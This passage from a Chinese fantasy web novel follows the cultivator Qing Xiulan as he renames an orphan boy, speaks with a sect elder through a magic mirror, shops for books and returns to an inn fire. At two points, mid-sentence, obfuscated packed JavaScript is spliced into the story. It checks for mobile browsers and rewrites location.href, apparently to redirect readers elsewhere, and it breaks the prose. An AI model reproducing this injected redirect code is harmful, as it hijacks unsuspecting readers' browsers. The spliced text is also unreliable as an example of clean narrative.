闻言,席梵认认真真地抱着手将二人打量了一番,最终得出了结论:“不像。先不说长得像不像吧,你,看起来就不像成了亲的人,倒像是成仙了——你平时喝露水,睡梧桐树么?” 清休澜抬手收起了手上的灯笼,指了指地面,顺着席梵的话回道:“我要是成仙了,现在就降雷送你去阴阳司。” 席梵摇着头“啧”了两声,说道:“凶残。”说完,他又转头看向身旁那个半人高的少年,开口问道:“你叫什么名儿啊。” 少年偏头看了看席梵,没有回答,反倒是不动声色地往清休澜的方向挪了挪。虽然少年没有亲眼看到是谁让自己短暂“失明”,但他依旧通过二人的对话判断出了谁是“凶手”。 听到席梵这一问,清休澜才想起来自己也忘记问这少年叫什么了,总用“小孩儿”称呼总归不方便,于是清休澜微微低头看着少年问道:“你叫什么。” 少年转头看了看左边的清休澜,又转头看了看右边的席梵,沉默几秒之后回答道:“我叫应……蘅。” “横?哪个横啊。横竖、永恒、杜蘅?”席梵双手背在脑后,闻言微微仰头看着天空随口猜道。 听到熟悉的字眼,少年确认道:“杜蘅的蘅。”说完眼神有些闪躲地看了看清休澜。 其实是没有名字的。他的父母总“应阿宝”、“应小宝”喊他,直到最后也没给他起一个大名。在父母离开后,少年在落花村停留了很久,那时落花村还不像现在这样荒凉,地上生长着开着紫色小花的植物。 有位老者路过这里时,看他一直盯着那紫花看,就走过去指着花和他说,这种开着紫花的植物叫做“杜蘅”,因为长得像马蹄,所以又叫“马蹄香”。 看少年偏着头听得津津有味,似乎很感兴趣。见状,老者便干脆坐在了少年身边,絮絮叨叨地同他讲了起来。老者从“有人也会把杜蘅叫做杜若,但其实这是两种不同的植物”讲到“但在书中使用时也不必分得那么清楚,有人就用杜蘅比做‘君子和贤人’”云云。 再后来…… “这个名字不好。”清休澜突然出声,打断了少年的思绪,他漆黑的眼眸微微亮起,开口问道:“杜蘅。它会让你想到什么。” 少年恍惚了一瞬,随后抬头看着清休澜含糊地说道:“家……花,还有……娘亲。”在念到最后那个离他十分遥远的词时,少年浑身颤了一下,眼眶微微泛红。 清休澜眼中的光芒逐渐熄灭,一乾半透明的八卦阵旋转着出现在他的面前,清休澜微微摇了摇头,说道:“这个名字只会将你困在过去,阻碍你向前。我替你换了罢。” 八卦阵上充斥着灵气,浅色的光纹缓慢流动着,两层淡金色的光圈漂浮在阵上,一正一逆缓慢转动着。 但在席梵眼中,清休澜面前什么都没有,他和少年对视了一眼,在对方眼中看到了相同的迷茫,对着突然安静下来的清休澜面面相觑。 “若你被名为‘恐惧’与‘鲜血’的绫罗紧紧缠绕,我便以赤焰真火将其焚尽。”沉默几息后,清休澜半阖着眼轻声开口:“若贫瘠与愚昧如丛生荆棘般阻碍你的道路,我便用一柄利刃将其斩落。” 随着清休澜的话语声,八卦盘上的光芒顺着指引流向了少年。少年只觉身体中汇入了一股暖流,原本堵塞在骨头缝中的污浊被一扫而空,整个身体如同羽毛一般轻盈起来,灵台清明,空无一物,干净而纯粹。 清休澜睁开双眸,看向面前依旧在旋转的八卦盘,观察几息后终于开口说了两句眼前两人能够听懂的人话:“去听吧。去听此间万象之声。去听花木之低语,走兽之嘶鸣。去听世人悲欢离合之响,闻其哀鸣,听其欢畅。” “你要去认识这个世界,也要去认识你自己。” “便唤做,‘应听声’。” —— 八卦盘的光芒消散之后,少年似乎还陷在无名的混沌之中,没有对这个新名字发表任何看法。 反倒是站在一旁的席梵沉思两秒之后点了点头,并起两指用关节在少年脑门上轻轻一敲,将他脑中的混沌驱散,然后说道:“这名字不错啊,听、声。不过——还是不如我的。” 也不知道在和一个半大孩子攀比个什么劲。清休澜停顿了一瞬,似乎想说些什么,看着席梵静了两息之后良心和素质占领了道德高地,最终没说出口。他用右手在应听声耳边打了个响指,说道:“别像个游魂一样站着,走了。” 这一响指把少年的魂打了回来,眼眸逐渐清明,一言不发地跟了上去,刚走两步就像想起了什么一样,转头朝席梵挥了挥手,然后毫不留恋地走进了客栈。 席梵:“……?”走就走呗还打个招呼,挺有礼貌的哈。 他轻笑了一声,再次化作了一只蓝色蝴蝶,从外边飞进了客栈二楼开着窗的那间房中。 —— 应听声在客栈中环顾了一圈之后,在掌柜处找到了清休澜。 清休澜正在和小二说些什么,见应听声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105623|163859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,便抬起右手一勾,应听声便飘了起来,停在与清休澜差不多高的地方。清休澜朝掌柜后面那堵挂满了淡黄色菜牌的墙上一颔首,问道:“吃什么。” 应听声转头一看,沉默了下来,无辜地转回了头,与清休澜面面相觑。 清休澜:“……” 菜牌上的字是用小篆写的,清休澜对看不懂篆体的少年无话可说,回眸对面前的小二说道:“虾仁粥、清蒸肉末蛋、三鲜鸭子,加一份糖蒸酥酪——再上一壶……算了,牛乳吧。” 点完菜后,清休澜带着应听声上了楼。内间屏风后的浴桶已经添满了热水,一阵一阵往上冒着热气,就像一个没有盖子的巨大蒸笼一般。 清休澜一捻手指唤出了被隐藏起来的乾坤戒,转头打量了应听声两眼,然后在乾坤戒挑挑选选,最后拿出了一件天青色绣暗花的交领长衫,在应听声身上比了比,点头道:“差不多,去洗吧。饭菜一会就送上来。我在外间,有事喊我,没事睡觉。” 三言两语交代完之后,清休澜将衣物放到了浴桶旁的小凳上,转身出去了。 外间雕花软榻的小几上摆着一壶新茶,清休澜抬起左手,一面巴掌大、椭圆形的镜子便出现在了他的手中,正闪烁着微光。他将镜子往旁边一送,那面坠着珍珠流苏的镜子便停在空中,逐渐变大,莫约手臂长。 清休澜拿起茶壶,将茶倒入了青色的茶盏中,茶香满溢而出,缓慢朝着房内扩散。他放下茶壶,拿起茶盏左右晃了晃,让茶流淌过茶盏每一寸内壁,随后抬手倒掉了这杯茶,重新添了一杯。做完这一切之后,清休澜这才将茶盏送到唇边,轻轻吹了吹茶盏中的茶。 被清休澜撂在旁边的镜子微微晃动着,镜面泛着水波样的纹路。清休澜一挥手,镜面中逐渐显现出一个影子,几息后,原本模糊的黑影逐渐变得清晰,一位身着青白色薄水烟圆领长裙的少女出现在镜子中。 镜中的少女发间坠着淡紫色玉蝴蝶步摇,双耳上挂着透亮的青色水滴形耳铛,就连手上也戴着一个竹节样的青玉镯,不知道的还以为是哪家娇养的富贵大小姐,可这位年轻的少女却实打实是天机宗五大长老之一。 “终于有空看水镜了,大忙人。”少女眉眼昳丽,语气轻佻,即使站在一片废墟当中,也像一颗绚丽的珍珠一般,让人不自觉忽略周围,视线与注意力都很难从她身上移开。 “还好,不是很忙——天机宗如何。”清休澜吹了半天,又将茶盏放回了小几上,不紧不慢地回答道。 灵脉被炸,天机宗被波及是必然的,但有两位长老坐镇,问题并不大,就算清休澜立刻回去也改变不了什么,于是他也没急着用水镜联系长老们——忙起来也联系不上。 少女调整了一下水镜的位置,微微侧过身,让自己身后那片废墟显露在水镜中,语气轻松地开口道:“还行吧,通天玉阶有一节被炸断了,现在除了各位长老和天梯排名前百的弟子,其他人上不去也下不来。” 水镜中,几座原本洁白的宫殿已然倒塌,玉屑碎散得到处都是,就像下了一场没有温度的雪一样。大片灵植死的死、折的折,蔫蔫巴巴地趴在地上,地面上存在着大片大片被火焰燃烧过后的污黑,不断有人拿着丹药和符咒从少女身后经过,场面虽然有些狼藉,却并不混乱。 清休澜抬眸看了两眼,转而问起另一件事:“你怎么回来了,人找到了?” “没啊,天机宗有异,寻人的优先级被折湛降低了,灼烧感消失之后我便连夜赶回天机宗善后——你人找到了?”少女口中的“折湛”是她的法器,与清休澜一样,她也接到了前去寻人的任务,清休澜离开时,她刚走不到一天。 清休澜起身,关上了窗,回道:“找到了——在我找到人之后,灼烧感便消退了。我还以为是微霜放宽了条件,不必将人带回天机宗就能摆脱这该死的灼烧感。” 少女轻嗤了一声,旋转着拿在右手上的细长发簪,告诉了他另一个消息:“自家灵脉被炸,凌月剑宗立刻派人去调查了,说是查到两个可疑人员,‘疑似’是天机宗的人,要我们去给个说法。” “孟玄联系不上,沈灵和扶盈要留在宗内善后,我要处理被浊气污染的弟子——我的意思是,现在有空,且身份够高能够不被凌月剑宗随意摆布的人……只剩你一个。反正玉阶断了还需要时间重修,宗内到处都挺乱的,你也不急着回来吧?” “凌月剑宗离你那儿也不远,你顺路去看看?就当找个乐子看看。” 少女如是说。 5. 灯盏 “乐子?” 少女哼笑了一声,道:“凌月剑宗称,‘此二人身上携带着贵宗的天机鸟,还‘疑似’会摄神探鬼之术’,所以‘请派人前来认领’——先不说天机宗为了方便与各宗联系送出的大量天机鸟,现在什么三花猫的占卜之术也能与天机宗扯上关系了,简直是鬼扯。” 清休澜右手撑着头搭在小几上,闻言无可无不可地一点头,说道:“听起来像是小孩子过家家——这话说出来凌月剑宗自己不觉得想笑吗。” “想笑?”少女偏过头眯起眼,像是听到什么极为荒谬的笑话一样笑了起来,用手中的银簪轻轻划过水镜,像扰动了一汪池水一般让镜面微微扭曲,她笑够之后,说道:“他们才不在乎呢!那两人是假货又怎样,只要天机宗派人去,那可不就是货真价实的‘人质’?” 各大宗门之间常有联系,比如五年一次向所有人开放的试炼之境,或是时不时就来一次的“清谈会”,又或者甲宗的大师姐和乙宗的大师兄结为了道侣、丙宗的小师妹与丁宗的小师姐是一对亲姐妹……屡见不鲜。 对比起来天机宗就显得十分“遗世独立”——连上山的通天玉阶上都被设下了法阵,难进难出。就算靠灵力高强的大能登上了这玉阶,来到了天机宗的大门前,非客且不请自来的人,也会被拒之门外。 五年一开的试炼之境和“清谈会”上也甚少能见到天机宗的身影,毕竟“一群人一起进入幻境中抢夺灵宠法器灵植”和“一群人坐下来一起探讨人生的意义”在天机宗众人眼中就是在浪费时间。 就像大部分宗门也不能理解天机宗的人整天抱着个“八卦阵”、“星宿盘”念叨“鬼话”,出个门、吃个饭、修个炼都要卜上一卦看看“到没到时候”也是在浪费人生一样。 至于什么“亲缘”、“血缘”更是不存在,天机宗内弟子大多亲缘单薄,有的甚至无父无母,无亲无故,一个人坐那就是团圆饭。多凄凉倒也不至于,毕竟免于“人情世故”和“人际关系”的烦扰要付出应有的代价。 如此,“与人结缘”就更是扯淡了,懒得下山的话,抬头低头全是熟人,在宗内随便大喊一声都能根据咒骂的不同内容判断出是谁骂的。新朋友都懒得交的话,怎可能交心。 “我去就不是‘人质’了?”身旁的内间传来一丝响动,探出了一颗湿淋淋的脑袋,似乎有话想说,但看见清休澜面前的水镜时又止住了脚步。于是清休澜侧过了头,开口问道:“怎么了。” 那颗尚在滴水的脑袋支支吾吾没说出个所以然,看得清休澜忍无可忍地抬手挑起一块宽大的步巾扔到了他头上。柔软的白色布巾遮住了应听声大半个身子,顺便将他的未说出口的话语噎了回去。 “呦呦,好俊的少年郎。”即使看起来和应听声差不多大,都是十四五岁的少年,可水镜对面的女孩可是鲛人一族,虽然在鲛人中确实还是个小孩,但对人类而言可是“姑奶奶”的辈分,她凑近水镜仔细瞧了瞧,给出了评价:“就是看着蠢了点,怪瘦的——这就是你找到那小孩儿?也太……” “凉倾。”清休澜轻描淡写地出声打断了少女的话语,挥手点亮了几盏灯烛,让房内更加明亮。 “知道——”凉倾偏头将手中的银簪插回了发间,看应听声在不远处沉默地擦干发间的水珠,暂时没有开口的意思,便接着刚才的话题说道:“你去凌月剑宗自然不会是以‘人质’的身份。相反,凌月剑宗会好吃好喝地像个祖宗一样供着你。你的行动不会被限制——当然,只限于在凌月剑宗之内,想走是不可能走的,凌月剑宗会变成个只进不出的吃人洞,而你,就是被‘养’在金丝笼里的美人。” “——就当去凌月剑宗春……唔,夏游了,反正就凌月剑宗那长个眼睛就能破的阵法,无论如何都困不住你吧。玩腻了再回来啰。” 清休澜点头,算是决定了自己——连带应听声接下来的行程。收回水镜之前,清休澜似乎又想起什么,问道:“我离开前,沈灵和生阁前那颗松树的松花正含苞待放——没被炸到吧?” 凉倾都准备把水镜收起来了,硬生生被清休澜一句问叫了回来,闻言往某处瞥了一眼,而后才反应过来清休澜问的不是沈灵,也不是沈灵的和生阁,而是沈灵和生阁门口那颗千年松树上的松花,她莫名其妙地回道:“应该没有吧,和生阁离得挺远的——我哪知道,我又不会去他那‘串门’!” 清休澜轻笑一声,挥袖收起了水镜,然后抬头朝应听声看去。 在等待清休澜谈话的间隙,应听声已经用清休澜丢过来的布巾擦干了头发,将略有潮湿,却并不会往下滴水的布巾叠成了一块方方正正的“豆腐”,放在了那张点着灯烛的木桌上,安安静静地看向不远处的雕窗,眼神平静柔和。 察觉到清休澜的目光,应听声转过了头,轻声回答了之前清休澜的问题:“下雨了。” 清休澜跟着看向那扇已经被他关上的雕窗,“嗯”了一声,道:“下不久。” 不知道是客栈的墙壁太厚实,还是清休澜在外设下了能够减弱声音的法阵,应听声觉得这场雨比他以往听过的每一场雨都要更加安静。虽然窗外的树上已经有些许枯枝败叶被猛烈的雨水击落在地,但雷声和雨声的存在感依旧不强。 二人在细碎的雨声和风声中安静地对坐了一会,谁也没有开口先打破这份宁静。 清休澜放在小几上的茶已经完全冷了下来,一点没少——可能“雨夜品茶”的意境更重要些?但不值钱的粗茶有什么好品的。 最终,应听声先站了起来,没有解释自己到底为什么出来,清休澜也没再继续追问,好似一首短暂的睡前小夜曲。 “害怕并不是难以启齿的事。”清休澜突然开口,抬眸看向应听声。 “咔擦”一声,一面无影无形的镜子碎裂在空气中。 应听声身形一滞,若无其事地问道:“怕什么。” “唰”一声,早就被清休澜收起的琉璃灯盏再次出现,飞到了应听声旁边,就像一个忠实的“小跟班”一样,应听声转身,它就跟着转身,始终保持在应听声的右手后侧。 清休澜依旧半撑在小几上。 夜晚的雨声太过轻盈,缭绕在房间内的湿空气用从客栈外的花丛中捎带来的小夜笼花香铺满了房间的每一个角落,灯烛落在清休澜身后,橙黄色的光丝透过他的黑发散出。他已经卸掉了易容,原本的装扮也换了回来,看向应听声的淡金色眼眸就像一勺装在上品琉璃勺中,品相极佳的蜂蜜般——并不锋利。 “你这个年纪,有害怕的事物再正常不过。就连已经长大的大人,也可以拥有不想面对的事物,更何况是你。”清休澜清冷但柔和的嗓音传入应听声耳中。 “可是……‘男子汉大丈夫’,不应该……”应听声的声音越来越低,似乎被在心底扎下深根的观念在清休澜三言两语间开始颤动——他内心更加认可清休澜所说的话。 “不应该害怕打雷下雨?”清休澜接话道,然后被逗笑一样轻笑了一声,连小几上茶盏中的茶水都晃动起来,“就是害怕——又怎样呢?恐惧是被允许的。就连暂时不想去面对——也就是逃避,也是被允许的。” 清休澜从软榻上起身,走到了应听声身边,然后蹲下了身,伸出右手食指轻轻点了点应听声的心口,看着他说道:“你觉得‘不可以’,只是因为你内心深处不愿承认自己‘软弱’、‘失败’和‘无用’。但这些也是被允许的。” 接着,清休澜站了起来,走到了内间,关上了窗,设下了法阵,将所有扰人清梦的声音统统隔绝,然后回身看着跟进来的应听声,接着说道:“小孩子就要有点小孩子的样子,不然分大人小孩干什么。” “……意思是,我可以因为害怕打雷睡不着?”应听声站在距离清休澜几步远的地方,看着被关上的窗户问道。 清休澜脸上没什么表情,他点头,回道:“是的。可以。” “也可以害怕虫子?” “可以。” “也可以不喜欢吃苦瓜、胡萝卜和木耳?” “可以。” “那……我也可以叫你陪我一起睡吗。” “这个不可以。” 清休澜一挥手,将被揉成一团的被褥重新整理整齐,顺便从乾坤戒中拿出一个银色雕着只仙鹤的汤婆子,右手轻轻在上面一敲,汤婆子里就灌满了热水。他将温暖的汤婆子套上一层带着绒毛的白色布袋,然后塞到了被褥中,回道:“‘可以害怕打雷、虫子’,‘可以不喜欢吃苦瓜、胡萝 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“你既唤我一声‘前辈’,那‘指导什么都不懂的无知小孩’和‘保护什么也做不到的弱小后辈’就是我的责任,不必言谢。”清休澜转身,抱着手靠在门框上,说道:“顺便一提,我并不擅长,也不太去主动‘照顾’小孩,你要学会照顾自己。饿了就吃饭、渴了就喝水、困了就睡觉,你可以向我提出需求,我会根据合理程度配合,而不是默不作声地等我自己发现你的生命正在流逝,长了嘴就是用来说话表达的,明白了吗。” 看见应听声点头之后,清休澜便走出内间,重新在外间那扇红木镶贝壳的四条屏后的软榻上坐了下来。 境界到达到达一定程度后,“睡眠”与“饮食”都不再是必需品,清休澜赞同前者,毕竟在无意识不可控的黑暗中浪费几个时辰时间无疑是一笔赔本买卖,还不如用来感受星轨的移动和宇宙的细微变化。但他不认可后者,因为清休澜觉得这世上没有任何东西能够替代不同食物独一无二的味道,“品尝美食”是一种能够给平淡无聊的日常增添一丝趣味的事情。 清休澜闭上眼。放缓了呼吸,将自己的神识朝四周铺开,确定周围哪怕是风吹起尘埃的变化都在自己的监视下后,任由元神向着夜空飞去,逐渐与星辰银河“呼吸”的频率相同,就好像本就是它们的一份子般自然。星空从不拒绝每一个人,只是有人站在地面上仰望,有人在星空中与星辰共眠。 —— 在将二十八星宿在自己的识海中重新整理排序后,窗外的天空已经泛白,隐约能够听到几声鸟鸣和楼下走动的声音。 清休澜缓缓将自己的神识收回,然后睁开了眼,抬眸看向前方。普通的墙壁并不能隔绝修仙者的视线,这也是大部分修仙者都会在临时落脚点设下结界的原因。 在看到应听声依旧在和周公下棋之后,清休澜轻叹一声,起身出了门,顺手落下了一个结界。 客栈中有不少人早早地就起来了,大部分是修仙者,有的人是为了赶路,有的人是习惯了早起练功,有的人则纯属是闲着没事就起了——例如某个在满院子抓鸡的蓝眸少年。 清休澜从客栈大门走出时正看到这样一幕。 席梵显然并不经常干“活捉”这种事,正在客栈旁养着不少动物的小院里上蹿下跳,地上还有几只死鸡。清休澜走过去瞥了一眼,伤口在脖颈,一击毙命。 整个鸡舍的鸡被这“野蛮人”吓得四处逃窜,鸡毛四散在空中,还有站在清休澜旁边欲哭无泪的掌柜。 席梵显然和这群鸡杠上了,为了活捉只鸡甚至用上了轻功,都没顾得上和清休澜打声招呼。 最终,清休澜忍无可忍,挥手将逃窜的鸡群定在了原地,像看稀有物种一样问他:“你不会阻离阵和隔绝结界就算了,连最基础的定身咒也不会?” 席梵从空中轻巧落下,将身前的长发撩至脑后,乌黑的高马尾在他的脑后微微摇晃。他“哼”了一声,从地上拎起一只被定住的鸡,回道:“不够强的人才会选择先让敌人无法行动,再击杀。我的……流派,讲究‘一击致死’和‘杀人于无形’。” 清休澜缓缓挑起眉,看了他一眼,没有言语,转身离开了。 据他所知,寻秘阁可不是什么“以武力取胜”的流派,也从没培养过什么“杀手组织”。 这小骗子不知从哪儿顺来的令牌,装着装着装忘了——不过看他那样,似乎也没怎么走心去伪装。 心倒是大,也不知是哪家的弟子。 6. 大火 客栈与周围的小城镇离得不远,天色尚早,街上只有零星刚开张的小摊和稀疏几人。 清休澜给自己设了个隐匿阵,然后凭空唤出了一张特制的信纸,以手代笔,在上面书写起来。寻秘阁令牌被盗也不算小事,他和寻秘阁主尚有几分交情,给他提个醒也理所应当。 清休澜三言两语说明了自己目前得知的信息,随后抬起左手,几息间,一只浑身雪白、只有翅根和尾端沾着天蓝的鸟儿便落在了清休澜指尖。这鸟莫约手掌大,仔细看的话就会发现它的眼睛还是如琉璃般半透明的白色,羽毛在阳光下微微发光,正是天机宗的天机鸟。 天机鸟并不算活物,是由阵法、符咒和一种特殊的木头做成的。不畏火雨,不畏利器,速度极快,难以捕捉,且在未到达指定的人的手中前就被打开的话,里面的所有东西都会被直接销毁。 清休澜用右手摸了摸天机鸟的头,天机鸟扬起小小的头颅蹭了上去,一副亲昵的模样。 “好了,干正事。”清休澜收回了手,浮在空中的信纸便飘向了天机鸟。 天机鸟歪着头看了看面前的信纸,然后张开了嘴,比天机鸟大上几倍的信纸便化作了一缕细细的流光,被它吞了进去。 “送给寻秘阁主。”清休澜简单下了命令,天机鸟便展翅飞走了。 目送天机鸟远去后,清休澜收回了目光,接着往前走去。 这座小镇往西北方向走就是凌月剑宗,往东北走就是天机宗,大部分准备去凌月剑宗拜访的人都会选择在这里补充一些基本物资,因此虽然这个小镇不大,但卖的东西十分丰富,一应俱全。 清休澜在一家书铺前停了下来,书铺的老板显然刚睡醒,打着哈欠从旁边卖包子的小摊走了回来,看见书铺门口有人还有些意外,只得匆匆放下了手中刚出炉的包子,招呼道:“客官来的真早!想买什么书?我这啥书都有,还有‘寻风客’最新出的‘浅谈当今修仙界毒瘤——天机宗篇’,要不要来一本啊?” “?”清休澜闻言诡异地沉默了两秒,道:“不用了。你这有没有‘三字经’、‘千字文’、‘尚书’、‘孝经’之类的,一样来一本,其余字词简单些,故事有趣些的,也给我拿两本吧。” 老板刚开张就碰上这么个大单,嘴都咧到耳后根了,包子也不吃了,瞌睡虫也全醒了,乐呵呵地带着清休澜往书柜一侧走去,给他指了指,示意他可以自己挑,然后自己去把刚刚清休澜点了名的那几本书找了出来,随口问道:“给家里小孩儿买呀?多大啦?上没上学堂啊,我这还有名师大家的字帖要不要来一份。” 清休澜站在书柜前随便拿起一本名为“孩子不听话?一招解决!”的书翻看起来,入目便是一句巨大的“孩子不听话?多半是屁股痒了,打一顿就好!”。从没养过孩子,身边也没人养孩子的清休澜被这一句话打得晕头转向,沉默了两秒才回答道:“不是我的,捡来的。” 老板哼哧哼哧搬来了一架梯子,爬上去拿了几本放在高处的书,闻言“嚯”了一声,笑道:“那您可真是个大善人啊,还买书给人小孩看,指不定之后考个功名回来,您可不就成他的大贵人了嘛!” 清休澜艰难地在自己的记忆里翻翻找找,勉强找到几本自己幼时看过的书,拿在手中答道:“或许吧,谁知道呢。万一之后他发现我其实是他的仇人,那岂不是‘爱也不是,恨也不是’。” “客官说笑了,怎么可能会有这么巧合的事呢!一般这种情节不都是话本瞎编的嘛,现实中大部分人都再也遇不到曾和自己有一面之缘的人了,除非刻意去寻,不然‘相遇’、‘偶遇’哪会像话本里那么容易。”老板小心翼翼地从梯子上爬了下来,将自己手中的书递给清休澜,说道:“客官看看,这是不是您要找的书?” 清休澜抬手接过,确定其中没有混入什么奇怪的书名之后跟着老板去柜台付钱。在等待老板算账的间隙,清休澜往右一瞥就看到了那本老板之前提到的,名为“浅谈……天机宗篇”的书,看了两眼没忍住,还是朝着那排被码得整整齐齐的书抬起手,“唰”一声,其中一本书便飞到了清休澜手中,被他若无其事地递给了老板。 在这小镇中修仙者并不罕见,哪怕清休澜突然“凭空取物”也是不足为奇的,老板见怪不怪,连头都没抬,看着清休澜递过来的书笑道:“客官还是想看个乐子哈!这‘寻风客’写的那几本书可真是把整个修仙界都得罪了一遍哪,就连最中立的‘寻秘阁’都没被放过。要我说,他说不定还真是个人物,毕竟最初那本‘凌月剑宗不除,修仙界难安’一经问世,便引起轩然大波,要知道,凌月剑宗可是最好面子的,哪能容忍这样一本书存在于世!” 老板一遍拨着算盘一遍絮絮叨叨地讲着,清脆的算珠碰撞声不绝于耳:“当时就连我也以为这‘寻风客’指定是活不长了,敢在第一大宗凌月剑宗的头上动土,可不是找死吗!果不其然,凌月剑宗得知后立刻派人挨家挨户搜这本‘邪书’,一经发现,立刻销毁,还下令不准贩卖和私印……结果等了两个月,这‘寻风客’不但没死,还新出了一本书,把凌月剑宗又臭骂了一顿!”老板说到这“哈哈”笑了几声,然后将打包好的书递给了清休澜,说道:“客官怎么付啊。” 清休澜听得津津有味,将两锭银放在柜台上,然后问道:“然后呢?” “哎呦多谢客官赏脸,愿客官福寿安康,吉星高照啊!”老板跟老鼠看见大米一样两眼放光,也没急着去拿,接着刚才的话音说道:“然后嘛,那‘寻风客’像是找到什么有趣的乐子一般,连带着把修仙界的其他大大小小的门派都骂了一遍,居然奇迹般很受欢迎——只要骂的不是自己流派,大家还是很愿意买一本来看看乐子。喏,天机宗应该就是最后一本了,也不知道之后‘寻风客’打算写什么……” “没人见过这个‘寻风客’?” 老板摇摇头:“这人神秘地很,除了言辞犀利,有股‘天不怕地不怕’的气势外,其余是男是女,来自何地,去往何处一概不知,就连新书都是直接将书的初本扔在当地随机一家书铺门口,然后慢慢转印发售的……既然不图财,那写这书又什么好处呢,难道就是单纯地为了找乐子?” 听着老板的描述,清休澜到还真对这“寻风客”起了点兴趣,朝老板道别后将书收到了乾坤戒中,走出了大门, 他在书铺待了不短时间,如今街上的人已经多了起来,连带着不断有人在吆喝的小摊和店铺,大地和人们都在逐渐苏醒,宣告一天的开始。 今日阳光晴好,万里无云。清休澜避过人群,朝一处被屋檐遮挡的阴凉处走去。他在应听声身上设下的法阵可以让他随时感知到应听声的位置,而到现在,应听声的位置终于发生了改变,看起来是醒了。 于是清休澜也不再耽搁,抬手就捏了个传送阵,转眼间就回到了客栈前。 结果他刚一睁眼,还没适应环境变化,就被周围四散的黑烟扑了个满脸,猝不及防地呛了个正着。 清休澜捂着嘴轻咳了两声,立刻抬手给自己罩了层结界,然后抬眸顺着某个法阵的位置走去。 周围是混乱的人群,“走水了”、“帮帮我”的呼喊声不绝于耳,在如此嘈杂的环境下,清休澜居然没走两步就找到了应听声——只因这人正半趴在一只浮在空中的巨大蝴蝶上咳个不停,怀中甚至还抱着那盏已经烧得乌黑的琉璃灯。 清休澜昨晚给他换的衣服算是白换了,被烧得和之前那身“破布条”衣服丑得不相上下。 站在另一只蝴蝶上的席梵倒是悠然自得,浑身半点脏污都没有,头发和衣服都干干净净、整整齐齐,甚至还有闲工夫指挥地上的人:“诶!那儿!那儿还有个人!不对不对,看左边,再往左一点!左边啊大哥,你左右不分吗!” 这两人离地面还有点距离,清休澜明显不想扯着嗓子说话,于是他脚尖一点,紧接着就从原地消失,下一瞬,便出现在了应听声趴着的那只蝴蝶的旁边。一盏新的琉璃灯突然出现,给了清休澜一个落脚点,他便轻轻落在了琉璃灯之上,看得人心一紧,生怕这琉璃灯承受不住重量会往下坠落。但那看似一阵风便能刮跑的琉璃灯却如同在底下坠了个千斤坠一样,清休澜踩上去后依旧纹丝不动,如泰山般安稳。 席梵在多次尝试与下面那人沟通无果之后默然扶额,听见风声一回头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105625|163859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就看到清休澜落在琉璃灯上这一幕,挑起眉吹了声口哨,道:“呦,大爷赶集回来了?吃没吃早饭啊,我这还有只鸡要不帮你扔火里烤烤?”说着,还真从背后拎出只被烟熏的奄奄一息的鸡来,看起来还像是早上清休澜帮他抓的那只。 “谁是你大爷,别乱攀亲。”清休澜伸手将同样奄奄一息的应听声从在半空中振翅的蓝色蝴蝶上抱了下来,右手轻点应听声怀中已经破损的琉璃灯,将其收了起来,然后颠了颠怀中的应听声,随即“啧”了一声,十四五岁的年纪,怎么瘦得跟猴一样,还没沈灵之前养的那只乘黄重。这时清休澜又不嫌人脏了,烟尘在自己的衣服上留下了一道道黑灰色痕迹也没在意,用法术简单给应听声做了处理,随后抬眸对席梵道:“还有,烤鸡也需要去毛去皮去内脏,你以为把一整只鸡直接扔进火里,过段时间再捞出来它就直接是玉鼎香鸡了吗。无知。” 闻言席梵一耸肩,然后“哦”了一声,随意松开了手,那只被浓烟折磨得气息微弱的“烟熏鸡”落入了火海中,终于结束了痛苦。席梵回过身,将双手抱在胸前,对清休澜说道:“你就不能对我态度好点,怎么说我也算救了你这……话说你们到底什么关系——我也算救了这小孩,对吧。我这个人大方,也不要求你如何感谢我,起码对我友善一些?这要求不过分吧。” 巨大的蓝色蝴蝶化作流光重新融入了席梵的身体中,清休澜冷嘲一声,道:“是你救的,还是他自己跑出来的,你应该心里有数?” “哦?”席梵眼眸一动,视线落在应听声右手那只不起眼的手镯上,叹道:“原来如此,失策、失策啊。” 清休澜的法阵画得细,甚至能够感知到具体的位置走向,他可不相信席梵会用走楼梯这种低效率的方式将人带出来,很明显,应听声是自己爬了四楼下来的——膝盖上还摔俩洞。而这只将人送到空中的蝴蝶,清休澜确定它的存在时间绝对不长,因为他刚从传送阵出来时周围根本没有传来这只蝴蝶振翅的波动,反而在他运转法阵找人时,波动才突然出现,再迟一秒清休澜说不定还能看见这只蝴蝶是如何出现的。 这人根本就没有想要救人的意思,会唤出蝴蝶纯属是察觉到了传送阵,想要以此浑水摸鱼,假装救人给清休澜卖个好,说不定还打着让清休澜欠个自己的人情的主意。可惜他的如意算盘落空了,看清休澜态度冷淡,只能退而求其次,试图捞点儿好处。 清休澜左手抱着应听声,右手起阵,原本还艳阳高照的天空逐渐被黑暗笼罩,乌云从四面八方席卷而来,气势汹汹地压在上空,汇聚成一条蠢蠢欲动的黑龙。伴随而来的还有不分敌我的狂风,贪婪地卷走了每个人的温度,犹嫌不足。清休澜的长发被狂风吹起,他眉头微皱,右手一转,一层结界便将疯狗似的狂风隔绝,随后一声雷鸣轰然降下,暴雨如同听到战鼓的士兵一样,狂奔着从空中落下,以此身殉烈火。 